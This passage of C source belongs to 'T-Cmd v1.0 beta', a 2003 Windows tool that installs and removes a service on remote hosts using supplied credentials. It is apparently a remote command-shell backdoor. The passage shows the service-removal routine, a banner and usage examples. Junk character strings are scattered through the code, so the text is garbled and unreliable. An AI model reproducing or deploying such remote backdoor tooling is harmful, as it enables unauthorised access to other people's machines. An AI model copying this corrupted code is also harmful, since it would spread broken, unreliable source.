if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) { while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) {$ m3 e5 t5 q' t Sleep(10);: k @5 ]# L/ L" g QueryServiceStatus(schService,&RemoveServiceStatus); }. J( e7 X) |: Q if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) { printf("Success !\n");& o( a9 m7 @" @ } else: a w0 S$ c$ Z) Y- ^) f {9 m* ?" ~! R$ m printf("Failure !\n");- w! P% M' Y1 b" k7 Y } } else$ Q o. @. z7 N% y; R& ~$ z( M {4 O4 l, s# b4 R# q3 B+ W printf("Failure !\n"); } }' M7 n) ?* @+ }; e2 v& N/ y } else { printf("Query Failure !\n"); }
printf("Removing Service .... "); if(DeleteService(schService)==0) { printf("Failure !\n"); 9 [1 B3 Q9 `1 P. n( { }4 q8 c/ `2 W) k$ c. P# ~ else {" R q- \. N7 H printf("Success !\n");" v3 d$ {7 ~3 J }9 Z# M2 G3 m; j6 c }
CloseServiceHandle(schSCManager); : P, \8 Q- q- L4 v CloseServiceHandle(schService);
y$ u4 f+ \/ l( @printf("Removing File ....... "); Sleep(1500);/ t/ U$ Z; y# j+ o, e4 w; s hSearch=FindFirstFile(lpImagePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) { printf("no Exists !\n");) j; G2 g1 g1 y/ G3 J } else { if(DeleteFile(lpImagePath)==0) {' B$ l2 ?! q; R9 X. p0 A printf("Failure !\n"); } else* W* @& F1 b& c# [0 V8 I C/ ]! z {7 K% W* B5 B. j- ] printf("Success !\n");" g* Y# @" z7 e/ t) f, i9 i5 H } FindClose(hSearch); }
return ;+ b6 P3 A0 C% }4 A, o( g }
void Start() { printf("\n"); printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n"); printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n"); printf("\t\t---[ HomePage: www.safechina.net ]---\n");, x! `/ k% d/ r' @1 d printf("\t\t---[ Date: 02-05-2003 ]---\n\n");3 {, ^+ q1 \1 i/ Q) | return ; }
$ D% Y) c4 g6 d: A, m5 t. S+ Pvoid Usage()9 [+ }3 `- D( S3 S {$ k- m$ z. x9 |6 ?1 B printf("Attention:\n");( c1 Y# v9 t& t8 V" Z printf(" Be careful with this software, Good luck !\n\n");2 H2 I/ o) @0 f# B printf("Usage Show:\n");' B8 |% h0 U+ L/ a printf(" T-Cmd -Help\n"); printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");* A- y/ k# c7 z% G8 X printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n"); printf("Example:\n"); printf(" T-Cmd -Install (Install in the localhost)\n");3 p2 j. n2 ~2 m) B" s, c A printf(" T-Cmd -Remove (Remove in the localhost)\n");( k( n! U* Q' K# A! U; o, ~: G- v printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");7 L, m- x3 I: P# O$ x; \ printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");+ f6 i& _. U6 p" m# g. ] printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n"); return ;. E8 _7 ]' ^& G M; e9 X }
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